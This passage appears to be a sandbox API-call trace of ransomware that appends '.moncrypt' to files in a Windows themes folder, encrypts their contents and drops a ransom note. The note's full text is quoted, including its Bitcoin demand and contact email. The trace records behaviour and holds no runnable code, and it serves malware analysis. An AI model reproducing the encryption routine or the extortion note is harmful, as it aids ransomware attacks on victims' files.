lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.341] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.341] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.341] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.341] GlobalUnlock (hMem=0x44000c) returned 0 [0052.341] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.341] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.341] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.341] GlobalUnlock (hMem=0x44000c) returned 0 [0052.341] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.341] GlobalUnlock (hMem=0x440004) returned 0 [0052.341] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.341] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 73 [0052.342] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0052.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 4 [0052.342] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.342] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.342] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.342] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.342] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.342] GlobalUnlock (hMem=0x440004) returned 0 [0052.342] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.342] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.342] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.342] GlobalUnlock (hMem=0x440004) returned 0 [0052.342] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.342] GlobalUnlock (hMem=0x44000c) returned 0 [0052.342] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.343] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNGy", lpUsedDefaultChar=0x0) returned 74 [0052.343] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\LEVEL\\THMBNAIL.PNGy", lpUsedDefaultChar=0x0) returned 4 [0052.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.344] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.344] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.344] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.moncrypt")) returned 1 [0052.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.345] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.345] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xbbf3 [0052.345] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.345] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.347] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.347] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.348] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.348] GlobalUnlock (hMem=0x440004) returned 0 [0052.348] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.348] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.348] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.348] GlobalUnlock (hMem=0x440004) returned 0 [0052.348] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.348] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.348] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.348] GlobalUnlock (hMem=0x44000c) returned 0 [0052.348] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.348] GlobalUnlock (hMem=0x440004) returned 0 [0052.348] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.348] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.348] GlobalUnlock (hMem=0x440004) returned 0 [0052.348] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.348] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.348] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.348] GlobalUnlock (hMem=0x440004) returned 0 [0052.348] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.348] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.348] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.348] SetFilePointer (in: hFile=0x18c, lDistanceToMove=48115, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xbbf3 [0052.349] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.349] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.349] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.360] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.360] CloseHandle (hObject=0x18c) returned 1 [0052.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.361] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.361] CloseHandle (hObject=0x18c) returned 1 [0052.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.362] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.362] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.362] GlobalUnlock (hMem=0x440004) returned 0 [0052.362] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.362] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.362] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.362] GlobalUnlock (hMem=0x440004) returned 0 [0052.362] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.362] GlobalUnlock (hMem=0x44000c) returned 0 [0052.362] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4061bc40, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4061bc40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4061bc40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.362] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.362] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.362] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.363] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.363] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.363] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.363] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.363] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.363] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.363] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.363] CloseHandle (hObject=0x18c) returned 1 [0052.363] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.363] GetLastError () returned 0x12 [0052.363] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.363] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.363] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.363] GlobalUnlock (hMem=0x44000c) returned 0 [0052.363] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.363] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.363] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.363] GlobalUnlock (hMem=0x44000c) returned 0 [0052.363] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.364] GlobalUnlock (hMem=0x440004) returned 0 [0052.364] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40641da0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40641da0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.364] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.364] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.364] GlobalLock (hMem=0x440004) returned 0x550170 [0052.364] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.364] GlobalUnlock (hMem=0x440004) returned 0 [0052.364] GlobalLock (hMem=0x440004) returned 0x550170 [0052.364] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.364] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.364] GlobalUnlock (hMem=0x440004) returned 0 [0052.364] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.364] GlobalUnlock (hMem=0x44000c) returned 0 [0052.364] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.364] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40641da0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40641da0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.365] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.365] FileTimeToDosDateTime (in: 